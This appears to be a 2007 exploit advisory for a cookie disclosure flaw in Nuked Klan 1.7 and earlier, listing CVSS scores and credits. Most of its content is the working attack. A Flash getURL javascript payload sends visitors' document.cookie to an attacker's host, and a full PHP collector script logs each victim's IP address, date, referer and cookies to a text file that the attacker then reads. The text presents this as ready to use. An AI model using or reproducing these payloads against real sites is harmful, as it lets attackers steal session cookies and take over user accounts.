Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit

2007.01.05
Credit: NeoSSJ & Kad'
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[-] Nuked Klan <= 1.7 Remote Cookie Disclosure Exploit [-] Vendor : www.nuked-klan.org/ [-] Found by NeoSSJ & Kad' [-] Full disclosure on 31 December 2006 [-] Notice : you only have to create a *.swf file, and you put on : getURL("javascript:alert('document.location="http://site.com/cookie.php? cookie="+document.cookie');"); or anything like that to have the cookie of all the persons who will see the cookie : [-] Exploitation : getURL("javascript:document.location='http://site.com/cookie.php?cookie= '+document.cookie"); the php script is anything like that : <?php $cookie = $_GET['cookie']; $ip = getenv ('REMOTE_ADDR'); $date=date("m/d/Y g:i:s a"); $referer=getenv ('HTTP_REFERER'); $fl = fopen('cookies.txt', 'a'); fwrite($fl, "n".$ip.' :: '.$date."n".$referer." :: ".$cookie."n"); fclose($fl); ?> then you only have to go to http://site.com/cookies.txt, and you have the cookies of all the persons who have seen your signature Greetz to : Macromedia Flash Software, and every body who know us.


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